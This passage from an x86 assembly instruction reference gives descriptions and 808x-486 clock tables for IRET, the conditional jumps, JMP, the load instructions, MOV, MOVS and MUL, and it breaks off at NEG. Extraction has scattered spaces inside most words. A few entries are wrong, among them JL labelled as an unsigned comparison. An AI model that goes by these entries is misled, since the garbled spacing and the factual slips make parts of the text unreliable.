t hi s l ocat i on. CPU except i on i nt er r upt s wi l l r et ur n t o t he
i nst r uct i on t hat cause t he except i on because t he CS: I P pl aced
on t he st ack dur i ng t he i nt er r upt i s t he addr ess of t he of f endi ng
i nst r uct i on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

i r et 32/ 44 17+m 22 15 1
i r et ( pr ot . mode) - 31+m 38 15 1
i r et ( t o l ess pr i vi l ege) - 55+m 82 36 1
i r et ( di f f er ent t ask, NT=1) - 169+m TS TS+32 1
i r et d - - 22/ 38 15 1
i r et d ( t o l ess pr i vi l ege) - - 82 36 1
i r et d ( t o VM86 mode) - - 60 15 1
i r et d ( di f f er ent t ask, NT=1) - - TS TS+32 1


- 386 t i mi ngs ar e l i st ed as r eal - mode/ pr ot ect ed- mode
- see ~I nst r uct i on Ti mi ng~

: j . . .
^J ump I nst r uct i ons Tabl e

% Mnemoni c Meani ng J ump Condi t i on

~J A~ J ump i f Above CF=0 and ZF=0
~J AE~ J ump i f Above or Equal CF=0
~J B~ J ump i f Bel ow CF=1
~J BE~ J ump i f Bel ow or Equal CF=1 or ZF=1
~J C~ J ump i f Car r y CF=1
Pagina 811 di 991
~J CXZ~ J ump i f CX Zer o CX=0
~J E~ J ump i f Equal ZF=1
~J G~ J ump i f Gr eat er ( si gned) ZF=0 and SF=OF
~J GE~ J ump i f Gr eat er or Equal ( si gned) SF=OF
~J L~ J ump i f Less ( si gned) SF ! = OF
~J LE~ J ump i f Less or Equal ( si gned) ZF=1 or SF ! = OF
~J MP~ Uncondi t i onal J ump uncondi t i onal
~J NA~ J ump i f Not Above CF=1 or ZF=1
~J NAE~ J ump i f Not Above or Equal CF=1
~J NB~ J ump i f Not Bel ow CF=0
~J NBE~ J ump i f Not Bel ow or Equal CF=0 and ZF=0
~J NC~ J ump i f Not Car r y CF=0
~J NE~ J ump i f Not Equal ZF=0
~J NG~ J ump i f Not Gr eat er ( si gned) ZF=1 or SF ! = OF
~J NGE~ J ump i f Not Gr eat er or Equal ( si gned) SF ! = OF
~J NL~ J ump i f Not Less ( si gned) SF=OF
~J NLE~ J ump i f Not Less or Equal ( si gned) ZF=0 and SF=OF
~J NO~ J ump i f Not Over f l ow ( si gned) OF=0
~J NP~ J ump i f No Par i t y PF=0
~J NS~ J ump i f Not Si gned ( si gned) SF=0
~J NZ~ J ump i f Not Zer o ZF=0
~J O~ J ump i f Over f l ow ( si gned) OF=1
~J P~ J ump i f Par i t y PF=1
~J PE~ J ump i f Par i t y Even PF=1
~J PO~ J ump i f Par i t y Odd PF=0
~J S~ J ump i f Si gned ( si gned) SF=1
~J Z~ J ump i f Zer o ZF=1

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

J x: j ump 16 7+m 7+m 3 2
no j ump 4 3 3 1
J x near - l abel - - 7+m 3 4
no j ump - - 3 1


- I t ' s a good pr ogr ammi ng pr act i ce t o or gani ze code so t he
expect ed case i s execut ed wi t hout a j ump si nce t he act ual
j ump t akes l onger t o execut e t han f al l i ng t hr ough t he t est .
- see ~J CXZ~ and ~J MP~ f or t hei r r espect i ve t i mi ngs
- see ~I nst r uct i on Ti mi ng~ ~FLAGS~

: j a: j nbe
^J A/ J NBE - J ump Above / J ump Not Bel ow or Equal


Usage: J A l abel
J NBE l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Car r y Fl ag and Zer o Fl ag
ar e bot h cl ear . Unsi gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


Pagina 812 di 991
- see ~I nst r uct i on Ti mi ng~

: j ae: j nb
^J AE/ J NB - J ump Above or Equal / J ump on Not Bel ow


Usage: J AE l abel
J NB l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Car r y Fl ag i s cl ear .
Funct i onal l y si mi l ar t o ~J NC~. Unsi gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j b: j nae
^J B/ J NAE - J ump Bel ow / J ump Not Above or Equal


Usage: J B l abel
J NAE l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Car r y Fl ag i s set .
Funct i onal l y si mi l ar t o ~J C~. Unsi gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j be: j na
^J BE/ J NA - J ump Bel ow or Equal / J ump Not Above


Usage: J BE l abel
J NA l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Car r y Fl ag or
t he Zer o Fl ag i s set . Unsi gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
Pagina 813 di 991
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j c
^J C - J ump on Car r y


Usage: J C l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Car r y Fl ag i s set .
Funct i onal l y si mi l ar t o ~J B~ and ~J NAE~. Unsi gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j cxz: j ecxz
^J CXZ/ J ECXZ - J ump i f Regi st er ( E) CX i s Zer o


Usage: J CXZ l abel
J ECXZ l abel ( 386+ onl y)
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f r egi st er CX i s zer o. Uses
unsi gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 18 8+m 9+m 8 2
no j ump 6 4 5 5


- see ~I nst r uct i on Ti mi ng~

: j e: j z
^J E/ J Z - J ump Equal / J ump Zer o


Usage: J E l abel
J Z l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Zer o Fl ag i s set . Uses
unsi gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
Pagina 814 di 991
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j g: j nl e
^J G/ J NLE - J ump Gr eat er / J ump Not Less or Equal


Usage: J G l abel
J NLE l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Zer o Fl ag i s cl ear or
t he Si gn Fl ag equal s t he Over f l ow Fl ag. Si gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j ge: j nl
^J GE/ J NL - J ump Gr eat er or Equal / J ump Not Less


Usage: J GE l abel
J NL l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Si gn Fl ag equal s
t he Over f l ow Fl ag. Si gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j l : j nge
^J L/ J NGE - J ump Less / J ump Not Gr eat er or Equal


Usage: J L l abel
J NGE l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Si gn Fl ag i s not equal
t o Over f l ow Fl ag. Unsi gned compar i si on.


% Cl ocks Si ze
Pagina 815 di 991
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j l e: j ng
^J LE/ J NG - J ump Less or Equal / J ump Not Gr eat er


Usage: J LE l abel
J NG l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Zer o Fl ag i s set or t he
Si gn Fl ag i s not equal t o t he Over f l ow Fl ag. Si gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j mp
^J MP - Uncondi t i onal J ump

Usage: J MP t ar get
Modi f i es f l ags: None

Uncondi t i onal l y t r ansf er s cont r ol t o " l abel " . J umps by def aul t
ar e wi t hi n - 32768 t o 32767 byt es f r omt he i nst r uct i on f ol l owi ng
t he j ump. NEAR and SHORT j umps cause t he I P t o be updat ed whi l e FAR
j umps cause CS and I P t o be updat ed.

% Cl ocks
% Oper ands 808x 286 386 486

r el 8 ( r el at i ve) 15 7+m 7+m 3
r el 16 ( r el at i ve) 15 7+m 7+m 3
r el 32 ( r el at i ve) - - 7+m 3
r eg16 ( near , r egi st er i ndi r ect ) 11 7+m 7+m 5
r eg32 ( near , r egi st er i ndi r ect ) - - 7+m 5
mem16 ( near , memi ndi r ect ) 18+EA 11+m 10+m 5
mem32 ( near , memi ndi r ect ) 24+EA 15+m 10+m 5
pt r 16: 16 ( f ar , dwor d i mmed) - - 12+m 17
pt r 16: 16 ( f ar , PM dwor d i mmed) - - 27+m 19
pt r 16: 16 ( cal l gat e, same pr i v. ) - 38+m 45+m 32
pt r 16: 16 ( vi a TSS) - 175+m TS 42+TS
pt r 16: 16 ( vi a t ask gat e) - 180+m TS 43+TS
mem16: 16 ( f ar , i ndi r ect ) - - 43+m 13
mem16: 16 ( f ar , PM i ndi r ect ) - - 31+m 18
mem16: 16 ( cal l gat e, same pr i v. ) - 41+m 49+m 31
mem16: 16 ( vi a TSS) - 178+m 5+TS 41+TS
mem16: 16 ( vi a t ask gat e) - 183+m 5+TS 42+TS
pt r 16: 32 ( f ar , 6 byt e i mmed) - - 12+m 13
pt r 16: 32 ( f ar , PM 6 byt e i mmed) - - 27+m 18
Pagina 816 di 991
pt r 16: 32 ( cal l gat e, same pr i v. ) - - 45+m 31
pt r 16: 32 ( vi a TSS) - - TS 42+TS
pt r 16: 32 ( vi a t ask st at e) - - TS 43+TS
m16: 32 ( f ar , addr ess at dwor d) - - 43+m 13
m16: 32 ( f ar , addr ess at dwor d) - - 31+m 18
m16: 32 ( cal l gat e, same pr i v. ) - - 49+m 31
m16: 32 ( vi a TSS) - - 5+TS 41+TS
m16: 32 ( vi a t ask st at e) - - 5+TS 42+TS

- see ~I nst r uct i on Ti mi ng~

: j nc
^J NC - J ump Not Car r y


Usage: J NC l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Car r y Fl ag i s cl ear .
Funct i onal l y si mi l ar t o ~J AE~ or ~J NB~. Unsi gned compar i si on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j ne: j nz
^J NE/ J NZ - J ump Not Equal / J ump Not Zer o


Usage: J NE l abel
J NZ l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Zer o Fl ag i s cl ear .
Unsi gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j no
^J NO - J ump Not Over f l ow


Usage: J NO l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Over f l ow Fl ag i s cl ear .
Si gned compar i si on.
Pagina 817 di 991

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j ns
^J NS - J ump Not Si gned


Usage: J NS l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Si gn Fl ag i s cl ear .
Si gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j np: j po
^J NP/ J PO - J ump Not Par i t y / J ump Par i t y Odd


Usage: J NP l abel
J PO l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Par i t y Fl ag i s cl ear .
Unsi gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j o
^J O - J ump on Over f l ow


Usage: J O l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Over f l ow Fl ag i s set .
Si gned compar i si on.

% Cl ocks Si ze
Pagina 818 di 991
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j p: j pe
^J P/ J PE - J ump on Par i t y / J ump on Par i t y Even


Usage: J P l abel
J PE l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Par i t y Fl ag i s set .
Unsi gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: j s
^J S - J ump Si gned


Usage: J S l abel
Modi f i es f l ags: None


Causes execut i on t o br anch t o " l abel " i f t he Si gn Fl ag i s set .
Si gned compar i si on.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 16 7+m 7+m 3 2- 4
no j ump 4 3 3 1


- see ~I nst r uct i on Ti mi ng~

: l ahf
^LAHF - Load Regi st er AH Fr omFl ags


Usage: LAHF
Modi f i es f l ags: None

Copi es bi t s 0- 7 of t he f l ags r egi st er i nt o AH. Thi s i ncl udes f l ags
AF, CF, PF, SF and ZF ot her bi t s ar e undef i ned.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

Pagina 819 di 991
none 4 2 2 3 1


- see ~I nst r uct i on Ti mi ng~

: l ar
^LAR - Load Access Ri ght s ( 286+ pr ot ect ed)


Usage: LAR dest , sr c
Modi f i es f l ags: ZF


The hi gh byt e of t he of t he dest i nat i on r egi st er i s over wr i t t en by
t he val ue of t he access r i ght s byt e and t he l ow or der byt e i s zer oed
dependi ng on t he sel ect i on i n t he sour ce oper and. The Zer o Fl ag i s
set i f t he l oad oper at i on i s successf ul .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, r eg16 - 14 15 11 3
r eg32, r eg32 - - 15 11 3
r eg16, mem16 - 16 16 11 3- 7
r eg32, mem32 - - 16 11 3- 7


- see ~I nst r uct i on Ti mi ng~

: l ds
^LDS - Load Poi nt er Usi ng DS

Usage: LDS dest , sr c
Modi f i es f l ags: None


Loads 32- bi t poi nt er f r ommemor y sour ce t o dest i nat i on r egi st er
and DS. The of f set i s pl aced i n t he dest i nat i on r egi st er and t he
segment i s pl aced i n DS. To use t hi s i nst r uct i on t he wor d at t he
l ower memor y addr ess must cont ai n t he of f set and t he wor d at t he
hi gher addr ess must cont ai n t he segment . Thi s si mpl i f i es t he l oadi ng
of f ar poi nt er s f r omt he st ack and t he i nt er r upt vect or t abl e.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, mem32 16+EA 7 7 6 2- 4
r eg, mem( PM) - - 22 12 5- 7


- see ~I nst r uct i on Ti mi ng~

: l ea
^LEA - Load Ef f ect i ve Addr ess


Usage: LEA dest , sr c
Modi f i es f l ags: None


Tr ansf er s of f set addr ess of " sr c" t o t he dest i nat i on r egi st er .
Pagina 820 di 991


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, mem 2+EA 3 2 1 2- 4


- see ~I nst r uct i on Ti mi ng~

: l eave
^LEAVE - Rest or e St ack f or Pr ocedur e Exi t ( 80188+)


Usage: LEAVE
Modi f i es f l ags: None


Rel eases t he l ocal var i abl es cr eat ed by t he pr evi ous ~ENTER~
i nst r uct i on by r est or i ng SP and BP t o t hei r condi t i on bef or e
t he pr ocedur e st ack f r ame was i ni t i al i zed.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none - 5 4 5 1


- see ~I nst r uct i on Ti mi ng~

: l es
^LES - Load Poi nt er Usi ng ES

Usage: LES dest , sr c
Modi f i es f l ags: None


Loads 32- bi t poi nt er f r ommemor y sour ce t o dest i nat i on r egi st er
and ES. The of f set i s pl aced i n t he dest i nat i on r egi st er and t he
segment i s pl aced i n ES. To use t hi s i nst r uct i on t he wor d at t he
l ower memor y addr ess must cont ai n t he of f set and t he wor d at t he
hi gher addr ess must cont ai n t he segment . Thi s si mpl i f i es t he l oadi ng
of f ar poi nt er s f r omt he st ack and t he i nt er r upt vect or t abl e.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, mem 16+EA 7 7 6 2- 4 ( W88=24+EA)
r eg, mem( PM) - - 22 12 5- 7


- see ~I nst r uct i on Ti mi ng~

: l f s
^LFS - Load Poi nt er Usi ng FS ( 386+ onl y)


Usage: LFS dest , sr c
Modi f i es f l ags: None


Pagina 821 di 991
Loads 32- bi t poi nt er f r ommemor y sour ce t o dest i nat i on r egi st er
and FS. The of f set i s pl aced i n t he dest i nat i on r egi st er and t he
segment i s pl aced i n FS. To use t hi s i nst r uct i on t he wor d at t he
l ower memor y addr ess must cont ai n t he of f set and t he wor d at t he
hi gher addr ess must cont ai n t he segment . Thi s si mpl i f i es t he l oadi ng
of f ar poi nt er s f r omt he st ack and t he i nt er r upt vect or t abl e.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, mem - - 7 6 5- 7
r eg, mem( PM) - - 22 12 5- 7


- see ~I nst r uct i on Ti mi ng~

: l gdt
^LGDT - Load Gl obal Descr i pt or Tabl e ( 286+ pr i vi l eged)


Usage: LGDT sr c
Modi f i es f l ags: None


Loads a val ue f r oman oper and i nt o t he Gl obal Descr i pt or Tabl e
( ~GDT~) r egi st er .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

mem64 - 11 11 11 5


- see ~I nst r uct i on Ti mi ng~

: l i dt
^LI DT - Load I nt er r upt Descr i pt or Tabl e ( 286+ pr i vi l eged)


Usage: LI DT sr c
Modi f i es f l ags: None


Loads a val ue f r oman oper and i nt o t he I nt er r upt Descr i pt or Tabl e
( I DT) r egi st er .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

mem64 - 12 11 11 5


- see ~I nst r uct i on Ti mi ng~

: l gs
^LGS - Load Poi nt er Usi ng GS ( 386+ onl y)


Usage: LGS dest , sr c
Modi f i es f l ags: None
Pagina 822 di 991


Loads 32- bi t poi nt er f r ommemor y sour ce t o dest i nat i on r egi st er
and GS. The of f set i s pl aced i n t he dest i nat i on r egi st er and t he
segment i s pl aced i n GS. To use t hi s i nst r uct i on t he wor d at t he
l ower memor y addr ess must cont ai n t he of f set and t he wor d at t he
hi gher addr ess must cont ai n t he segment . Thi s si mpl i f i es t he l oadi ng
of f ar poi nt er s f r omt he st ack and t he i nt er r upt vect or t abl e.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, mem - - 7 6 5- 7
r eg, mem( PM) - - 22 12 5- 7


- see ~I nst r uct i on Ti mi ng~

: l l dt
^LLDT - Load Local Descr i pt or Tabl e ( 286+ pr i vi l eged)


Usage: LLDT sr c
Modi f i es f l ags: None


Loads a val ue f r oman oper and i nt o t he Local Descr i pt or Tabl e
Regi st er ( LDTR) .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 17 20 11 3
mem16 - 19 24 11 5


- see ~I nst r uct i on Ti mi ng~

: l msw
^LMSW- Load Machi ne St at us Wor d ( 286+ pr i vi l eged)


Usage: LMSW sr c
Modi f i es f l ags: None


Loads t he Machi ne St at us Wor d ( ~MSW~) f r omdat a f ound at " sr c"


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 3 10 13 3
mem16 - 6 13 13 5


- see ~I nst r uct i on Ti mi ng~

: l ock
^LOCK - Lock Bus

Pagina 823 di 991

Usage: LOCK
LOCK: ( 386+ pr ef i x)
Modi f i es f l ags: None


Thi s i nst r uct i on i s a pr ef i x t hat causes t he CPU asser t bus l ock
si gnal dur i ng t he execut i on of t he next i nst r uct i on. Used t o
avoi d t wo pr ocessor s f r omupdat i ng t he same dat a l ocat i on. The
286 al ways asser t s l ock dur i ng an XCHG wi t h memor y oper ands. Thi s
shoul d onl y be used t o l ock t he bus pr i or t o ~XCHG~, ~MOV~, ~I N~ and
~OUT~ i nst r uct i ons.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

none 2 0 0 1 1


- see ~I nst r uct i on Ti mi ng~

: l ods: l odsb: l odsw: l odsd
^LODS - Load St r i ng ( Byt e, Wor d or Doubl e)


Usage: LODS sr c
LODSB
LODSW
LODSD ( 386+ onl y)
Modi f i es f l ags: None

Tr ansf er s st r i ng el ement addr essed by DS: SI ( even i f an oper and i s
suppl i ed) t o t he accumul at or . SI i s i ncr ement ed based on t he si ze
of t he oper and or based on t he i nst r uct i on used. I f t he Di r ect i on
Fl ag i s set SI i s decr ement ed, i f t he Di r ect i on Fl ag i s cl ear SI
i s i ncr ement ed. Use wi t h REP pr ef i xes.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

sr c 12/ 16 5 5 5 1


- see ~I nst r uct i on Ti mi ng~

: l oop
^LOOP - Decr ement CX and Loop i f CX Not Zer o


Usage: LOOP l abel
Modi f i es f l ags: None


Decr ement s CX by 1 and t r ansf er s cont r ol t o " l abel " i f CX i s not
Zer o. The " l abel " oper and must be wi t hi n - 128 or 127 byt es of t he
i nst r uct i on f ol l owi ng t he l oop i nst r uct i on


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

Pagina 824 di 991
l abel : j ump 18 8+m 11+m 6 2
no j ump 5 4 ? 2


- see ~I nst r uct i on Ti mi ng~

: l oope: l oopz
^LOOPE/ LOOPZ - Loop Whi l e Equal / Loop Whi l e Zer o


Usage: LOOPE l abel
LOOPZ l abel
Modi f i es f l ags: None

Decr ement s CX by 1 ( wi t hout modi f yi ng t he f l ags) and t r ansf er s
cont r ol t o " l abel " i f CX ! = 0 and t he Zer o Fl ag i s set . The
" l abel " oper and must be wi t hi n - 128 or 127 byt es of t he i nst r uct i on
f ol l owi ng t he l oop i nst r uct i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 18 8+m 11+m 9 2
no j ump 5 4 ? 6


- see ~I nst r uct i on Ti mi ng~

: l oopnz: l oopne
^LOOPNZ/ LOOPNE - Loop Whi l e Not Zer o / Loop Whi l e Not Equal


Usage: LOOPNZ l abel
LOOPNE l abel
Modi f i es f l ags: None

Decr ement s CX by 1 ( wi t hout modi f yi ng t he f l ags) and t r ansf er s
cont r ol t o " l abel " i f CX ! = 0 and t he Zer o Fl ag i s cl ear . The
" l abel " oper and must be wi t hi n - 128 or 127 byt es of t he i nst r uct i on
f ol l owi ng t he l oop i nst r uct i on.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

l abel : j ump 19 8+m 11+m 9 2
no j ump 5 4 ? 6


- see ~I nst r uct i on Ti mi ng~

: l sl
^LSL - Load Segment Li mi t ( 286+ pr ot ect ed)


Usage: LSL dest , sr c
Modi f i es f l ags: ZF

Loads t he segment l i mi t of a sel ect or i nt o t he dest i nat i on r egi st er
i f t he sel ect or i s val i d and vi si bl e at t he cur r ent pr i vi l ege l evel .
I f l oadi ng i s successf ul t he Zer o Fl ag i s set , ot her wi se i t i s
cl ear ed.
Pagina 825 di 991


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16, r eg16 - 14 20/ 25 10 3
r eg32, r eg32 - - 20/ 25 10 3
r eg16, mem16 - 16 21/ 26 10 5
r eg32, mem32 - - 21/ 26 10 5


- 386 t i mes ar e l i st ed " byt e gr anul ar " / " page gr anul ar "
- see ~I nst r uct i on Ti mi ng~
: l ss
^LSS - Load Poi nt er Usi ng SS ( 386+ onl y)


Usage: LSS dest , sr c
Modi f i es f l ags: None


Loads 32- bi t poi nt er f r ommemor y sour ce t o dest i nat i on r egi st er
and SS. The of f set i s pl aced i n t he dest i nat i on r egi st er and t he
segment i s pl aced i n SS. To use t hi s i nst r uct i on t he wor d at t he
l ower memor y addr ess must cont ai n t he of f set and t he wor d at t he
hi gher addr ess must cont ai n t he segment . Thi s si mpl i f i es t he l oadi ng
of f ar poi nt er s f r omt he st ack and t he i nt er r upt vect or t abl e.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, mem - - 7 6 5- 7
r eg, mem( PM) - - 22 12 5- 7


- see ~I nst r uct i on Ti mi ng~

: l t r
^LTR - Load Task Regi st er ( 286+ pr i vi l eged)


Usage: LTR sr c
Modi f i es f l ags: None


Loads t he cur r ent t ask r egi st er wi t h t he val ue speci f i ed i n " sr c" .


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg16 - 17 23 20 3
mem16 - 19 27 20 5


- see ~I nst r uct i on Ti mi ng~

: mov
^MOV - Move Byt e or Wor d

Usage: MOV dest , sr c
Modi f i es f l ags: None
Pagina 826 di 991

Copi es byt e or wor d f r omt he sour ce oper and t o t he dest i nat i on
oper and. I f t he dest i nat i on i s SS i nt er r upt s ar e di sabl ed except
on ear l y buggy 808x CPUs. Some CPUs di sabl e i nt er r upt s i f t he
dest i nat i on i s any of t he segment r egi st er s

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg 2 2 2 1 2
mem, r eg 9+EA 3 2 1 2- 4 ( W88=13+EA)
r eg, mem 8+EA 5 4 1 2- 4 ( W88=12+EA)
mem, i mmed 10+EA 3 2 1 3- 6 ( W88=14+EA)
r eg, i mmed 4 2 2 1 2- 3
mem, accum 10 3 2 1 3 ( W88=14)
accum, mem 10 5 4 1 3 ( W88=14)
segr eg, r eg16 2 2 2 3 2
segr eg, mem16 8+EA 5 5 9 2- 4 ( W88=12+EA)
r eg16, segr eg 2 2 2 3 2
mem16, segr eg 9+EA 3 2 3 2- 4 ( W88=13+EA)
r eg32, CR0/ CR2/ CR3 - - 6 4
CR0, r eg32 - - 10 16
CR2, r eg32 - - 4 4 3
CR3, r eg32 - - 5 4 3
r eg32, DR0/ DR1/ DR2/ DR3 - 22 10 3
r eg32, DR6/ DR7 - - 22 10 3
DR0/ DR1/ DR2/ DR3, r eg32 - 22 11 3
DR6/ DR7, r eg32 - - 16 11 3
r eg32, TR6/ TR7 - - 12 4 3
TR6/ TR7, r eg32 - - 12 4 3
r eg32, TR3 3
TR3, r eg32 6

- when t he 386 speci al r egi st er s ar e used al l oper ands ar e 32 bi t s
- see ~I nst r uct i on Ti mi ng~

: movs: movsb: movsw: movsd
^MOVS - Move St r i ng ( Byt e or Wor d)

Usage: MOVS dest , sr c
MOVSB
MOVSW
MOVSD ( 386+ onl y)
Modi f i es f l ags: None


Copi es dat a f r omaddr essed by DS: SI ( even i f oper ands ar e gi ven) t o
t he l ocat i on ES: DI dest i nat i on and updat es SI and DI based on t he
si ze of t he oper and or i nst r uct i on used. SI and DI ar e i ncr ement ed
when t he Di r ect i on Fl ag i s cl ear ed and decr ement ed when t he Di r ect i on
Fl ag i s Set . Use wi t h ~REP~ pr ef i xes.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

dest , sr c 18 5 7 7 1 ( W88=26)


- see ~I nst r uct i on Ti mi ng~

: movsx
^MOVSX - Move wi t h Si gn Ext end ( 386+ onl y)
Pagina 827 di 991


Usage: MOVSX dest , sr c
Modi f i es f l ags: None


Copi es t he val ue of t he sour ce oper and t o t he dest i nat i on r egi st er
wi t h t he si gn ext ended.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg - - 3 3 3
r eg, mem - - 6 3 3- 7


- see ~I nst r uct i on Ti mi ng~

: movzx
^MOVZX - Move wi t h Zer o Ext end ( 386+ onl y)


Usage: MOVZX dest , sr c
Modi f i es f l ags: None


Copi es t he val ue of t he sour ce oper and t o t he dest i nat i on r egi st er
wi t h t he zer oes ext ended.


% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg, r eg - - 3 3 3
r eg, mem - - 6 3 3- 7


- see ~I nst r uct i on Ti mi ng~

: mul
^MUL - Unsi gned Mul t i pl y

Usage: MUL sr c
Modi f i es f l ags: CF OF ( AF, PF, SF, ZF undef i ned)

Unsi gned mul t i pl y of t he accumul at or by t he sour ce. I f " sr c" i s
a byt e val ue, t hen AL i s used as t he ot her mul t i pl i cand and t he
r esul t i s pl aced i n AX. I f " sr c" i s a wor d val ue, t hen AX i s
mul t i pl i ed by " sr c" and DX: AX r ecei ves t he r esul t . I f " sr c" i s
a doubl e wor d val ue, t hen EAX i s mul t i pl i ed by " sr c" and EDX: EAX
r ecei ves t he r esul t . The 386+ uses an ear l y out al gor i t hmwhi ch
makes mul t i pl yi ng any si ze val ue i n EAX as f ast as i n t he 8 or 16
bi t r egi st er s.

% Cl ocks Si ze
% Oper ands 808x 286 386 486 Byt es

r eg8 70- 77 13 9- 14 13- 18 2
r eg16 118- 113 21 9- 22 13- 26 2
r eg32 - - 9- 38 13- 42 2- 4
mem8 ( 76- 83) +EA 16 12- 17 13- 18 2- 4
mem16 ( 124- 139) +EA 24 12- 25 13- 26 2- 4
Pagina 828 di 991
mem32 - - 12- 21 13- 42 2- 4


- see ~I nst r uct i on Ti mi ng~ ~I MUL~

: neg
^NEG - Two' s Compl ement Negat i on


Usage: NEG dest
